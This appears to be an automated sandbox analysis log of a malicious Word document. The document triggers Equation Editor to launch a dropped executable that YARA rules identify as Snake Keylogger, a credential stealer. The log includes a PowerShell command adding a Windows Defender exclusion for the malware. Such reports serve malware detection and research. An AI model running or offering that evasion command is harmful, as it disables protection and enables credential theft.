Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006F305F 7_2_006F305F
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006FAA59 7_2_006FAA59
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006F9458 7_2_006F9458
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006F8750 7_2_006F8750
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006FCD28 7_2_006FCD28
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006F4628 7_2_006F4628
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006F6028 7_2_006F6028
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006F5326 7_2_006F5326
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006FC020 7_2_006FC020
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006F3920 7_2_006F3920
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006F7A3E 7_2_006F7A3E
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006F6038 7_2_006F6038
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006FDA30 7_2_006FDA30
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006F6D30 7_2_006F6D30
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006FF730 7_2_006FF730
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006F9D08 7_2_006F9D08
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006FB308 7_2_006FB308
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006F0006 7_2_006F0006
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006F9000 7_2_006F9000
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006F461A 7_2_006F461A
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006FB318 7_2_006FB318
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006FEE10 7_2_006FEE10
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006F3910 7_2_006F3910
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006FC010 7_2_006FC010
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006F68E8 7_2_006F68E8
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006F5BE0 7_2_006F5BE0
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006FE4E0 7_2_006FE4E0
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006F82F8 7_2_006F82F8
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006F75F0 7_2_006F75F0
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006F8FF0 7_2_006F8FF0
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006FBBC8 7_2_006FBBC8
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006F34C8 7_2_006F34C8
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006F4EC8 7_2_006F4EC8
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006FC8C1 7_2_006FC8C1
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006FAEC0 7_2_006FAEC0
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006F41C0 7_2_006F41C0
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006F68DA 7_2_006F68DA
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006F4ED8 7_2_006F4ED8
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006FD5D8 7_2_006FD5D8
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006FFBD8 7_2_006FFBD8
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006F5BD2 7_2_006F5BD2
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006FC8D0 7_2_006FC8D0
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006F41D0 7_2_006F41D0
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006FF2A8 7_2_006FF2A8
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006F8BA8 7_2_006F8BA8
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006F98A1 7_2_006F98A1
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006F7EA0 7_2_006F7EA0
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006F34B9 7_2_006F34B9
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006FBBB8 7_2_006FBBB8
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006F98B0 7_2_006F98B0
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006FAEB0 7_2_006FAEB0
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006F5788 7_2_006F5788
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006FDE88 7_2_006FDE88
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006F7188 7_2_006F7188
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006FD180 7_2_006FD180
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006F4A80 7_2_006F4A80
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006F6480 7_2_006F6480
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006F7E9E 7_2_006F7E9E
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006F7198 7_2_006F7198
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006F8B98 7_2_006F8B98
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006F6490 7_2_006F6490
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_00762E78 7_2_00762E78
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_00763558 7_2_00763558
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_00760040 7_2_00760040
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_00763C38 7_2_00763C38
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_00764318 7_2_00764318
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_007649F8 7_2_007649F8
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_007650D8 7_2_007650D8
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_007657B8 7_2_007657B8
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_00762E68 7_2_00762E68
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_0076354A 7_2_0076354A
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_00762130 7_2_00762130
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_00762121 7_2_00762121
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_00763C28 7_2_00763C28
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_00762B00 7_2_00762B00
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_00764308 7_2_00764308
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_00762AF2 7_2_00762AF2
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_007649E9 7_2_007649E9
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_00760ED8 7_2_00760ED8
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_007650C8 7_2_007650C8
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_007657A8 7_2_007657A8
Yara signature match
Source: na.doc, type: SAMPLE Matched rule: INDICATOR_RTF_MalVer_Objects author = ditekSHen, description = Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents.
Source: 7.2.cdlpohayugo39567.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 7.2.cdlpohayugo39567.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 7.2.cdlpohayugo39567.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 5.2.cdlpohayugo39567.exe.3ed9e08.5.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 5.2.cdlpohayugo39567.exe.3ed9e08.5.unpack, type: UNPACKEDPE Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 5.2.cdlpohayugo39567.exe.3ed9e08.5.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 5.2.cdlpohayugo39567.exe.3e555e8.6.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 5.2.cdlpohayugo39567.exe.3e555e8.6.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 5.2.cdlpohayugo39567.exe.3ed9e08.5.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 5.2.cdlpohayugo39567.exe.3ed9e08.5.raw.unpack, type: UNPACKEDPE Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 5.2.cdlpohayugo39567.exe.3ed9e08.5.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 5.2.cdlpohayugo39567.exe.3dd0dc8.2.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 5.2.cdlpohayugo39567.exe.3dd0dc8.2.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 00000007.00000002.910514133.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000005.00000002.407925121.0000000003BA9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: cdlpohayugo39567.exe PID: 3424, type: MEMORYSTR Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: cdlpohayugo39567.exe PID: 3512, type: MEMORYSTR Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: qHbynE8Vgwabsy3[1].exe.2.dr Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: cdlpohayugo39567.exe.2.dr Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: 5.2.cdlpohayugo39567.exe.3ed9e08.5.raw.unpack, COVID19.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 5.2.cdlpohayugo39567.exe.3ed9e08.5.raw.unpack, VIPSeassion.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 5.2.cdlpohayugo39567.exe.3ed9e08.5.raw.unpack, VIPSeassion.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 5.2.cdlpohayugo39567.exe.63c0000.7.raw.unpack, pbVHJsCgecSXhXNesj.cs Security API names: System.IO.DirectoryInfo.SetAccessControl(System.Security.AccessControl.DirectorySecurity)
Source: 5.2.cdlpohayugo39567.exe.63c0000.7.raw.unpack, pbVHJsCgecSXhXNesj.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 5.2.cdlpohayugo39567.exe.63c0000.7.raw.unpack, pbVHJsCgecSXhXNesj.cs Security API names: _0020.AddAccessRule
Source: 5.2.cdlpohayugo39567.exe.3dd0dc8.2.raw.unpack, pbVHJsCgecSXhXNesj.cs Security API names: System.IO.DirectoryInfo.SetAccessControl(System.Security.AccessControl.DirectorySecurity)
Source: 5.2.cdlpohayugo39567.exe.3dd0dc8.2.raw.unpack, pbVHJsCgecSXhXNesj.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 5.2.cdlpohayugo39567.exe.3dd0dc8.2.raw.unpack, pbVHJsCgecSXhXNesj.cs Security API names: _0020.AddAccessRule
Source: 5.2.cdlpohayugo39567.exe.3e555e8.6.raw.unpack, nkQiD6cY1Ydm4FTjxb.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 5.2.cdlpohayugo39567.exe.3dd0dc8.2.raw.unpack, nkQiD6cY1Ydm4FTjxb.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 5.2.cdlpohayugo39567.exe.3e555e8.6.raw.unpack, pbVHJsCgecSXhXNesj.cs Security API names: System.IO.DirectoryInfo.SetAccessControl(System.Security.AccessControl.DirectorySecurity)
Source: 5.2.cdlpohayugo39567.exe.3e555e8.6.raw.unpack, pbVHJsCgecSXhXNesj.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 5.2.cdlpohayugo39567.exe.3e555e8.6.raw.unpack, pbVHJsCgecSXhXNesj.cs Security API names: _0020.AddAccessRule
Source: 5.2.cdlpohayugo39567.exe.63c0000.7.raw.unpack, nkQiD6cY1Ydm4FTjxb.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: classification engine Classification label: mal100.troj.spyw.expl.evad.winDOC@9/14@28/9
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\Desktop\~$na.doc Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Mutant created: NULL
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Local\Temp\CVRC927.tmp Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................$.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................$.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................$.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................$.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................$.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................$.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................a.g.a.i.n................................%.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................%.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.1..........%.........................s.................... ....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................<%.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................P%.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................]%.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................+. .~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.....t%.........................s....................$....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................%.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................%.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................%.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ . . .m.m.a.n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n..................s....................2....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................%.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................%.........................s....................l....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................%.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ .......(.P..............................%.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................&.........................s............................................ Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: na.doc ReversingLabs: Detection: 44%
Source: unknown Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe "C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe"
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe"
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Process created: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe "C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe"
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe "C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe" Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe" Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Process created: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe "C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe" Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: wow64win.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: msi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: cryptsp.dll Jump to behavior
